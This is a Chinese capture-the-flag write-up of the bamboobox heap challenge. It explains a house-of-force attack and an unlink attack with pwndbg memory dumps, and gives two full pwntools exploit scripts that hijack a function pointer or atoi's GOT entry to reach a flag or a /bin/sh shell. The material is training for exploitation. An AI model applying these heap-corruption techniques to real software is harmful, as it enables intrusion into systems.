hitcontraining_bamboobox这道题有两种解题方式:
house of force
参考:house of force
unlink
house of force(详解) 知识点
只要top chunk size够大,就能随意申请chunk
所以,如果有溢出能控制top chunk size,就可以修改其为-1(0xffffffff最大值),然后malloc(负数)可以向上申请,malloc(正数)
题目流程 程序一开始申请0x10的块,存放hello_message和goodbye_message的指针,而且最后在功能5中会调用goodbye_message。
所以,可以通过house of force修改top chunk size,然后将top chunk申请到v3里,修改v3的指针为后门函数magic的地址,然后即可get flag。
详细过程 1.申请一个chunk
为了不跟v3的大小0x10撞,选择0x30的大小。
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x1a89000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x1a89020 Size: 0x41 Top chunk | PREV_INUSE Addr: 0x1a89060 Size: 0x20fa1
1 2 3 4 5 6 7 8 9 10 pwndbg> x/30gx 0x1a89000 0x1a89000: 0x0000000000000000 0x0000000000000021#v3 0x1a89010: 0x0000000000400896 0x00000000004008b1#hello_message、goodbye_message 0x1a89020: 0x0000000000000000 0x0000000000000041#申请的chunk 0x1a89030: 0x0000000a61616161 0x0000000000000000 0x1a89040: 0x0000000000000000 0x0000000000000000 0x1a89050: 0x0000000000000000 0x0000000000000000 0x1a89060: 0x0000000000000000 0x0000000000020fa1#top chunk size 0x1a89070: 0x0000000000000000 0x0000000000000000 0x1a89080: 0x0000000000000000 0x0000000000000000
2.堆溢出修改top chunk 手动输入新top chunk为最大值0xffffffffffffffff(本质就是-1,但好像直接-1不太好使,,,)
1 2 3 4 5 6 7 8 9 10 11 Allocated chunk | PREV_INUSE Addr: 0xc32000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0xc32020 Size: 0x41 Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA Addr: 0xc32060 Size: 0x-1 #成功修改为-1
1 2 3 4 5 6 7 8 9 pwndbg> x/30gx 0xc32000 0xc32000: 0x0000000000000000 0x0000000000000021 #v3(目的地址) 0xc32010: 0x0000000000400896 0x00000000004008b1 0xc32020: 0x0000000000000000 0x0000000000000041 0xc32030: 0x6161616161616161 0x6161616161616161 0xc32040: 0x6161616161616161 0x6161616161616161 0xc32050: 0x6161616161616161 0x6161616161616161 0xc32060: 0x0000000000000000 0xffffffffffffffff #chunk 0xc32070: 0x0000000000000000 0x0000000000000000
3.向上申请到v3的地址 向上申请块,需要malloc(负数),负数 = 0xc32000 - 0xc32060 - 0x10 = -0x70(-112)
1 2 3 4 pwndbg> heap Top chunk | PREV_INUSE Addr: 0xeae000 #成功修改chunk的位置 Size: 0x59
1 2 3 4 5 6 7 8 9 pwndbg> x/30gx 0xeae000 0xeae000: 0x0000000000000000 0x0000000000000059#目的地址 0xeae010: 0x0000000000400896 0x00000000004008b1 0xeae020: 0x0000000000000000 0x0000000000000041 0xeae030: 0x6161616161616161 0x6161616161616161 0xeae040: 0x6161616161616161 0x6161616161616161 0xeae050: 0x6161616161616161 0x6161616161616161 0xeae060: 0x0000000000000000 0x00ffffffffffffa1 0xeae070: 0x0000000000000000 0x0000000000000000
4.申请一个块,填入内容magic 1 2 3 4 5 6 7 8 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x2034000 Size: 0x21 Top chunk | PREV_INUSE Addr: 0x2034020 Size: 0x39
1 2 3 4 5 6 7 8 9 pwndbg> x/30gx 0x2034000 0x2034000: 0x0000000000000000 0x0000000000000021 0x2034010: 0x0000000000400d49 0x0000000000400d49 #修改成功 0x2034020: 0x0000000000000000 0x0000000000000039 0x2034030: 0x6161616161616161 0x6161616161616161 0x2034040: 0x6161616161616161 0x6161616161616161 0x2034050: 0x6161616161616161 0x6161616161616161 0x2034060: 0x0000000000000000 0x00ffffffffffffa1 0x2034070: 0x0000000000000000 0x0000000000000000
执行功能5 也就是会v3[1]()
,v3[1]的地址已经被修改为magic的地址,故将执行后门函数magic()
1 2 3 [DEBUG] Received 0xe bytes: 'flag{good_job}' flag{good_job}[*] Got EOF while reading in interactive
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *p = process('./bamboobox' ) context.log_level = 'debug' magic = 0x00400D49 def show () : p.recvuntil("Your choice:" ) p.sendline(str(1 )) def alloc (size,content) : p.recvuntil("Your choice:" ) p.sendline(str(2 )) p.recvuntil("length of item name:" ) p.sendline(str(size)) p.recvuntil("name of item:" ) p.sendline(content) def change (idx,content) : p.recvuntil("Your choice:" ) p.sendline(str(3 )) p.recvuntil("index of item:" ) p.sendline(str(idx)) p.recvuntil("length of item name:" ) p.sendline(str(len(content))) p.recvuntil("new name of the item:" ) p.sendline(content) def free (idx) : p.recvuntil("Your choice:" ) p.sendline(str(4 )) p.recvuntil("index of item:" ) p.sendline(str(idx)) def exit () : p.recvuntil("Your choice:" ) p.sendline(str(5 )) alloc(0x30 ,"aaaa" ) payload = "a" * 0x30 payload += p64(0 ) + p64(0xffffffffffffffff ) change(0 ,payload) alloc(-112 ,"aaaa" ) alloc(0x10 ,p64(magic)*2 ) exit() p.interactive()
unlink
unlink具体已经通过hitcon_2014_stkof详解 学习了,但是做本题的时候,遇到了一些问题,,,记录下。
思路比较简单:
unlink
修改chunk1指针为atoi_got
show打印atoi地址,计算system
edit修改stoi_got为system地址
重新启动的时候,发送’/bin/sh’即可执行atoi(输入的数据) => system(‘/bin/sh’)
未解决的问题 1.target取值问题 target = 0x6020c8
可以
1 2 3 4 5 pwndbg> x/30gx 0x6020c0 0x6020c0 <itemlist>: 0x0000000000000030 0x00000000006020b0 0x6020d0 <itemlist+16>: 0x0000000000000000 0x0000000000000000 0x6020e0 <itemlist+32>: 0x0000000000000030 0x00000000022e8100 0x6020f0 <itemlist+48>: 0x0000000000000000 0x0000000000000000
但是target = 0x6020c8+0x10
会导致整个脚本不可用。
难道是不能最后清零?
2.覆盖指针问题 就很奇怪,不能用puts_got表(0x602020),同样报错,其他的可以,,,
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *p = process('./bamboobox' ) p=remote("node3.buuoj.cn" ,27073 ) context.log_level = 'debug' elf = ELF("./bamboobox" ) libc = ELF("./libc-2.23.so" ) atoi_got = elf.got['atoi' ] def show () : p.recvuntil("Your choice:" ) p.sendline(str(1 )) def alloc (size,content) : p.recvuntil("Your choice:" ) p.sendline(str(2 )) p.recvuntil("length of item name:" ) p.sendline(str(size)) p.recvuntil("name of item:" ) p.sendline(content) def change (idx,content) : p.recvuntil("Your choice:" ) p.sendline(str(3 )) p.recvuntil("index of item:" ) p.sendline(str(idx)) p.recvuntil("length of item name:" ) p.sendline(str(len(content))) p.recvuntil("new name of the item:" ) p.sendline(content) def free (idx) : p.recvuntil("Your choice:" ) p.sendline(str(4 )) p.recvuntil("index of item:" ) p.sendline(str(idx)) alloc(0x30 ,"aaaa" ) alloc(0x80 ,"bbbb" ) alloc(0x30 ,"cccc" ) target = 0x6020c8 fd = target - 0x18 bk = target - 0x10 payload = p64(0 ) + p64(0x30 ) payload += p64(fd) + p64(bk) payload += "a" *0x10 payload += p64(0x30 ) + p64(0x90 ) change(0 ,payload) free(1 ) payload = p64(0 ) * 2 payload += p64(0x30 ) + p64(atoi_got) change(0 ,payload) show() atoi_addr = u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' ) log.success(hex(atoi_addr)) libc_base = atoi_addr - libc.sym['atoi' ] system = libc_base + libc.sym['system' ] payload = p64(system) change(0 ,payload) p.recvuntil("Your choice:" ) p.sendline("/bin/sh\x00" ) p.interactive()
其实这道题比hitcon_2014_stkof详解 这道题要简单,,,给了打印函数,可以直接show出来地址(无须构造puts),覆盖atoi方便,因为程序开头有atoi(输入八字节)的操作,只要覆盖atoi_got表为system地址即可get shell。